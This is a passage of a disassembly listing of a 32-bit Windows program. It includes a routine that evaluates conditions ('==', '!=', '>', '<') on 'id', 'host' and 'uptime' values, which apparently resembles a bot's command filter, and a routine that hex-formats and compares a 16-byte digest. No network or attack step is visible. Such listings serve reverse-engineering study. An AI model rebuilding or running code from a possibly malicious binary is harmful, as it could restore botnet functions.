arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412B70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412BF0	proc near		; CODE XREF: sub_401D20j
		push	esi
		mov	esi, ecx
		call	sub_401FD7
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412BF0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C20	proc near		; CODE XREF: sub_401FD7j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	esi
		retn
sub_412C20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C60	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412C60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C90	proc near		; CODE XREF: sub_401B68j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412C90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412CE0	proc near		; CODE XREF: sub_401F1Ej

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_412CE0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412D80:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43AC4E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4130A6
		push	ebx
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013E3
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013E3
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E47
		push	offset asc_444600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016B8
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E47
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40202C
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40202C
		push	offset asc_444D14 ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F05
		xor	edi, edi


loc_412F05:				; CODE XREF: ___:00412F01j
		push	offset asc_444D10 ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F1C
		mov	edi, 1


loc_412F1C:				; CODE XREF: ___:00412F15j
		push	offset asc_444D0C ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F33
		mov	edi, 2


loc_412F33:				; CODE XREF: ___:00412F2Cj
		push	offset asc_444D08 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F4A
		mov	edi, 3


loc_412F4A:				; CODE XREF: ___:00412F43j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4
		test	edi, edi
		jnz	short loc_412F7A
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412FA4
		jmp	short loc_412F97
; ---------------------------------------------------------------------------


loc_412F7A:				; CODE XREF: ___:00412F5Ej
		cmp	edi, 1
		jnz	short loc_412FA4
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4


loc_412F97:				; CODE XREF: ___:00412F78j
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_412FA4:				; CODE XREF: ___:00412F5Aj
					; ___:00412F76j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FF7
		test	edi, edi
		jnz	short loc_412FD8
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jnz	loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FD8:				; CODE XREF: ___:00412FB8j
		cmp	edi, 1
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FF7:				; CODE XREF: ___:00412FB4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_40165E
		test	edi, edi
		jnz	short loc_41302D
		cmp	eax, ebx
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_41302D:				; CODE XREF: ___:00413025j
		cmp	edi, 1
		jnz	short loc_413038
		cmp	eax, ebx
		jnz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413038:				; CODE XREF: ___:00413030j
		cmp	edi, 2
		jnz	short loc_413043
		cmp	eax, ebx
		jle	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: ___:0041303Bj
		cmp	edi, 3
		jnz	short loc_413059
		cmp	eax, ebx
		jge	short loc_413059


loc_41304C:				; CODE XREF: ___:00412FD6j
					; ___:00412FF5j ...
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_413059:				; CODE XREF: ___:00412FD0j
					; ___:00412FDBj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_4130A8
; ---------------------------------------------------------------------------


loc_4130A6:				; CODE XREF: ___:00412DB9j
		mov	al, 1


loc_4130A8:				; CODE XREF: ___:004130A4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4131B0	proc near		; CODE XREF: sub_40165Ej
		nop
		call	near ptr 27F0C4Bh
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4131B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131F0	proc near		; CODE XREF: sub_402018j

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4131F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401753
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F23
sub_4131F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401852
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43F044
		call	sub_401933
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132C0	proc near		; CODE XREF: sub_401D0Cj ___:00401E29j
		push	esi
		mov	esi, ecx
		call	sub_401CA3
sub_4132C0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_4132D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4132D8:				; CODE XREF: ___:004132CDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132F0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43F044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401933
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014BF
sub_4132F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4133B0	proc near		; CODE XREF: sub_401A05j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4133B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4133B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4134A0	proc near		; CODE XREF: sub_401CE4j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4134A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	short loc_413547
		lea	ecx, [esp+18h+var_14]
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413547


loc_413508:				; CODE XREF: sub_4134A0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41356C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413508


loc_413547:				; CODE XREF: sub_4134A0+2Ej
					; sub_4134A0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41356C:				; CODE XREF: sub_4134A0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4134A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4135E0	proc near		; CODE XREF: sub_402130j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4135E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_4136B3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jz	short loc_4136B3


loc_41364F:				; CODE XREF: sub_4135E0+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebx
		call	sub_401CE4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41367C
		mov	edi, [esi]


loc_41367C:				; CODE XREF: sub_4135E0+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B86
		test	eax, eax
		jz	short loc_4136DB
		test	esi, esi
		jnz	short loc_4136DB
		lea	ecx, [esp+28h+var_18]
		call	sub_4018C5
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jnz	short loc_41364F


loc_4136B3:				; CODE XREF: sub_4135E0+31j
					; sub_4135E0+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4136C6:				; CODE XREF: sub_4135E0+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_4136DB:				; CODE XREF: sub_4135E0+AAj
					; sub_4135E0+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4136C6
sub_4135E0	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413740	proc near		; CODE XREF: sub_401F64j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	short loc_4137E4
		lea	ecx, [esp+14h+var_14]
		call	sub_401E38
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_4137E4


loc_4137A6:				; CODE XREF: sub_413740+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jz	short loc_413816
		lea	ecx, [esp+14h+var_14]
		call	sub_4020C2
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_4137A6


loc_4137E4:				; CODE XREF: sub_413740+2Bj
					; sub_413740+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401582
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413816:				; CODE XREF: sub_413740+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401582
sub_413740	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4138B0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4138B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017EE
		test	eax, eax
		jz	loc_4139E3
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A69
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_40142E
		push	offset byte_448F30
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015E1
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014DD
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C26
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402176
		add	esp, 14h


loc_41394B:				; CODE XREF: sub_4138B0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_40142E
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016C7
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41394B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B86
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_4139DE
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4139FC
; ---------------------------------------------------------------------------


loc_4139DE:				; CODE XREF: sub_4138B0+10Cj
		call	sub_401226


loc_4139E3:				; CODE XREF: sub_4138B0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4139FC:				; CODE XREF: sub_4138B0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4138B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413A80	proc near		; CODE XREF: sub_40192Ej

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413A80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014D3
		mov	ecx, esi
		call	sub_402130
		test	eax, eax
		jz	short loc_413B2E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_401726
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014D3
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F64
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413B2E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413B2E:				; CODE XREF: sub_413A80+3Fj
					; sub_413A80+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_413A80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413BB0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_43AE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
